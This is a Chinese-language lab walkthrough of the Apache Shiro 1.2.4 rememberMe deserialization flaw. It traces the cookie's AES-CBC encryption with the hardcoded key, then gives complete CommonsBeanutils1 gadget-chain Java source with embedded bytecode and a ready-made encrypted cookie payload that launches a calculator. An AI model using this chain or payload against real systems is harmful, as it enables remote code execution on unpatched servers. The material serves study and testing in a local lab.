环境搭建
这里的 shiro 环境使用P牛的项目[项目地址],clone 这个项目代码到本地,用 idea 打开
配置maven依赖
打开之后,使用 maven 重新加载一下 pom.xml 中的依赖
配置 tomcat
右上角点击编辑配置
添加本地的 tomcat 服务器
选择你 tomcat 解压的目录添加工件的部署
选择shirodemo:war
然后就可以直接运行起来了
登录的账号密码在shiro.ini
文件中
使用root:secret就可以成功登录,登录的时候要勾选 Remember me
选项
漏洞分析
加密流程分析
既然漏洞出现在 rememberMe 字段,那就先分析 rememberMe 的值是如何生成的
先正常登录一次系统,可以获取到一段经过加密的 rememberMe 值
首先来到登录判断的地方,在 DefaultSecurityManager.java
中进行登录的判断
在登录成功的函数 onSuccessfulLogin
处下个断点跟进分析
可以看到 token 中存储了登录的账号密码信息
一直往下跟进,直到 byte[] bytes = serialize(principals);
处
发现此处是在对登录的用户名root
进行序列化的操作,然后判断加密方式是否为空
很明显此处不为空,并且根据属性的一些值能够判断,该加密方式为 AES的CBC模式
加密,进入判断,调用encrypt
函数对用户名的序列化值 bytes
进行加密
继续跟进encrypt
函数,可以发现里面又调用了 cipherService的encrypt函数
,并且传入了两个参数
第一个参数 Serialized
就是传入的root
序列化结果
第二个参数调用了 getEncryptionCipherKey()
方法的返回值,其实看方法名大概能够猜出这个方法是用来获取加密的key
跟进这个方法看看,发现就是返回了一个变量encryptionCipherKey
的值
右键查找一下 encryptionCipherKey
的用法,可以看到这个变量在下面的 setEncryptionCipherKey
方法中被赋值,再看一下谁调用了setEncryptionCipherKey
,发现是 setCipherKey
调用了这个函数
再继续查找 setCipherKey
的用法,发现该函数传入了 DEFAULT_CIPHER_KEY_BYTES
这个参数
继续查找 DEFAULT_CIPHER_KEY_BYTES
参数的定义,找到这个参数其实就是一个写死在代码中的字符串kPH+bIxk5D2deZiIxcaaaA==
,也就是AES加密 key
的base64编码
所以,getEncryptionCipherKey()
函数就是返回了 kPH+bIxk5D2deZiIxcaaaA==
这个字符串作为加密的 key
再进行跟进 encrypt
函数,发现里面还有个 ivBytes
变量,通过调用 generateInitializationVector(false)
方法获取值
这里 generateInitializationVector(false)
方法其实就是获取一个16字节是随机值,作为 AES 加密的 iv 值,然后再调用下面的 encrypt
函数,并且传入 序列化的值、key、iv
等参数
进入到 encrypt
函数中
- 判断 iv 是否为空并且长度要大于 0
- 对序列化后的用户名进行 AES CBC模式 的加密,将值赋给
encrypted
- 创建一个 output 字节数组,并且数组的长度设置为 iv+ encrypted 的总长度
- 把 iv 值放到 output 数组中
- 把 encrypted 附加到 output 数组中
output数组中最后存储的就是 iv + encrypted (AES加密的序列化用户名),并返回
整个加密流程就是这样的,最后再对 output 进行 base64 编码并赋值给 rememberMe 作为响应头返回,流程就结束了
进行解密验证
验证一下该加密流程,对 rememberMe
字段进行手动解密
先对字段进行base64解码,在转换成16进制,提取处前面的16字节32位 6e1ba0729b4112174b30a59fef008387
应该就是 iv
,后面剩下的是加密的序列化用户名
对结果解密后,可以看到该字符串结果确实符合java序列化的格式
漏洞利用
由于AES是对称加密,所以知道了加密的 key 和 iv 也就知道了解密的 key 和 iv
使用 CB1 链进行命令执行 Calc 命令弹个计算器
注意 CB1 链依赖包的版本要与 shiro 依赖包的版本一致
使用Maven Helper
插件查看 shiro1.2.4 的依赖包版本
- commons-beanutils 1.8.3
- commons-collections 3.2.1
使用 CB1 链生成执行 Calc 序列化的数据
CB1
package main.java;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import javax.xml.transform.TransformerConfigurationException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException, IOException, ClassNotFoundException {
//继承了 ABSTRACT_TRANSLET 父类的 Runtime.getRuntime().exec("calc") 的 class 字节码数据
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"ClearMe");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{code});
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(1, beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);
beanComparator.setProperty("outputProperties");
Field queue = PriorityQueue.class.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates, templates});
//序列化 priorityQueue 生成 ser.bin 文件
serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}
运行上述代码后会在当前目录生成一个 ser.bin
文件,这个 ser.bin
中就序列化的命令执行代码
同样使用 AES 的 CBC 模式进行加密,key 为 shrio 中硬编码的 key,iv 随便填写一个16字节长度的数据就行,只是最后要把 iv 放在加密数据的前面
key (bas64编码): kPH+bIxk5D2deZiIxcaaaA==
iv (16进制) :0123456789abcdef0123456789abcdef
然后再得到的加密数据前加上 iv ,再进行 base64 编码
将得到的数据作为 cookie 中 rememberMe
字段的参数进行发起请求,就可以成功命令执行
附上此处的 payload :
EjRWeJCrze8SNFZ4kKvN71GbDjHGUf5IBI9lbnydnGbFL7akTTqsV93yxl49+Hfq0CLAzbuYBPvz3JsoN24+RRpiivPFxMb+SXF7gtAn29SJY1VzgsPbzXzAawSRIMWjpcksds2CCeX2HK9Fa08mOPoEnO/FvMq6Mev+R3dDbYs1t65VL4NGW0N3PQe/DJ0NamdaT5ZSCxHUmZe6pQPXHYrIZ4lQVG29svB/KxlvM24w+89HKKMtpY2H0WTCSQXl2J7ZvTEcuizQ6I0yue4qQDdtRktNrCQYa2RbkQlr373YFrdR1x9Om6UWEZU0tDY4Vdw43hz5bg8Y3DLiWxfrceW6GppDOLvBxXPvsbK4vTkS2Qv6HUpsuzbJhV0LQjxqatc2bCMi6rrPf2IdVDP2dFE0VTcuEnouN6dfVzfIlpYy+okdJamiis37FpCYKTe9mJrUlYyOrQPXl6y6otzif8BukihXoScNm28gZD8fz+ta6vC4SeuC4lRG0YDOgEr9JaX1iEFyUeJ7KWscSXoJI90YjYFQsVAf8Nhk3SQnHiFg8KXpR9UlHLeR1POgczFFz12+tz9dQpigqcmsCVemqUM+CHl+Ki2HGkSFZqAUfPt/1/tA29a+Dqv/ICIg6IFI/qBbfXWeWjku2q4LTW08s2hwBuUxfhVtu4PhTFI6nHzShVXSXXC3xUwTr6bIFXOQfEDWqg+K77R2nz3i/0br70QbVd2Dqs+yfi+oiM9J/4Yt2BifElMHMP4I0uW+4VNwXIUh1Xwl/oz8HQFlDPAFyo7r/pd581Sh7O6NLYwXgovLME+qvIR0ic5URY9ZhKQ+O5e/Ez+AfUBZgs4X1K3Ymk4yqgAG/qPUkFI3guKbxQUT9mjYNyxevDgeSShcWRWSqwOUWp1m1SCFRibcIllQAaauV9MFQ7LbbwwM6gBsmyj7erMDWh56ofY349iX6Im8i5T6evpfI7oeMmMTSNEHGZO1bSXsjMS12nADaE5n0K5mmgz7xmIPBOYXqnKXPGGCVeM0HADxod1IhQH/n2xgZ7Eok6PrnVreReeZYW6YnAFlSVCURNzuCzq7CxwtzgGPbFQyUprKrz4v4+avzOvySUNBcxPOUfx2ezFZ+wCACZFm7FPFDKfxI8LU2KMiOzc/jhE7EVzIGkOoiRfq39tNUVjHPOdd7r0MLU+5fmRyMlzfSlLByCDtiMnhPucnDYFLyATWB9B83JthjiLz5DOb8bFpuP/iuP0ELoLcrVFNfROzn0eLEVAhlmEcZZO8ETzb/2wgB/tVJ97bYM5pDlX0u+QjSnYDm2/nhgXlvqK1oySz/sOPFGKONrUKltyAH9CTEskBogIx72m7/cyPgK+BmWBht5DLmOU2kpSQQbKZqX7ZiJYiVILdzlM4brQR6e7jfy8YSv5Yzo3jWvxKElywj/hgS1oTjN6Osox6pV7B0819b7Yl5Xu177vicu5iFXnecrZ9vHJEuQyzyrA1l6zoxc0gyAXphfAiUyOTrYxCyOwZ0hTP4q+BFc6ZbJcEcpSgkpeETV8anQo4/U4sAXP5Ff7trKCrDMOY3Vgc3gZqLe7fpo1EBD96Aeo00IgBH7hXnwp3B50MeXI7aZbFTEOrAEftCzxShRzmq5TPRkhcfFPb9nTOaVOuUbrZoKhHP8T0IMPqzBMAeN4yOYLPAw2g8ztMqd9sC6RrkWXzRkxhxGQY/2bUVf01Zmro9AJiyCXt+87V+w9F1pd1LtiBM8UQ0jtj6pdM63U2ZWUuMOlUAA6PW7iUS3LtC+prB2rO3Qnu83ZwhZfc4vHJBn+nFjchJ7OXS3dDse8x93TOFFX8euGcZkxKNErfdcGmA1CwuJVI6NT9ewyZHcJHFAR7mhcY4OxXH/NzKvdLJgOxWCx/zgc93MHoAL/2EKI8TBMElLhhybOKqMfcVVXKt+L4ENQnothnDIx53uBB4DWa5fBPT4SLm97IvK7PcLH9VYsXY19HPJQt0ziuEbEDaAMCrOY9xtafknAWZ1wD2Bcu3GvQ+kN9+LdJLAAo6+w2KtXNt944bKG4lp1itP7CKI9cGYm0MQ==